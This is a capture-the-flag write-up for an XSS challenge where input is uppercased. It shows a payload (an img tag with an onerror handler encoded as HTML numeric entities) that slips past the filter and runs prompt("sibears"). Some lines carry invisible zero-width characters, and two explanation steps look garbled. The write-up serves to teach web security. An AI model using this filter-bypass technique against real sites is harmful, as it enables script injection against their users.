Medium 0 - toUpperCase XSS Bypass

Platform: web-kids20 | Category: Web | Type: Challenge | Difficulty: Easy | OS: NA | Author: XESXOR | Date: 2026-03-09 | Status: Solved Techniques: html_numeric_character_reference, touppercase_bypass_html_entities

Summary

XSS challenge from the sibearsxss series. User input passes through an escape function that converts all characters to uppercase using toUpperCase().

Medium 0 - toUpperCase XSS Bypass — Web Kids 2.0

Description

XSS challenge from the sibearsxss series. User input passes through an escape function that converts all characters to uppercase using toUpperCase().

URL: http://109.233.56.90:11659/xss/medium/0

Analysis

Escape function:

 js read-only • copy allowed Copy
function escape(s) {
  s = s.toUpperCase();
  return '<h1>404</h1><h2>Not found</h2>The symbol ' + s + " doesn't exist.";
}

Problem: JavaScript is case-sensitive. After toUpperCase() any JS code becomes PROMPT("SIBEARS"), which is not a valid function (the prompt function only exists in lowercase). ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key observation:

1. HTML tags and attributes are NOT case-sensitive: <IMG> = <img>, ONERROR = onerror
2. HTML numeric character references (&#NNN;) are decoded by the browser AFTER the HTML is parsed
3. toUpperCase() does not change numeric characters in HTML entities

Solution

Using HTML numeric character references to encode JS code inside the event handler:

Payload:

 html read-only • copy allowed Copy
<img src=x onerror=&#112;&#114;&#111;&#109;&#112;&#116;(&#34;&#115;&#105;&#98;&#101;&#97;&#114;&#115;&#34;)>

After toUpperCase():

 html read-only • copy allowed Copy
<IMG SRC=X ONERROR=&#112;&#114;&#111;&#109;&#112;&#116;(&#34;&#115;&#105;&#98;&#101;&#97;&#114;&#115;&#34;)>

What happens:

1. toUpperCase() converts tags and attributes to uppercase
2. Numeric HTML entities remain unchanged (digits have no case)
3. Browser parses HTML and decodes entities in the onerror attribute
4. prompt → prompt
5. "sibears" → "sibears"
6. prompt("sibears") is executed ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍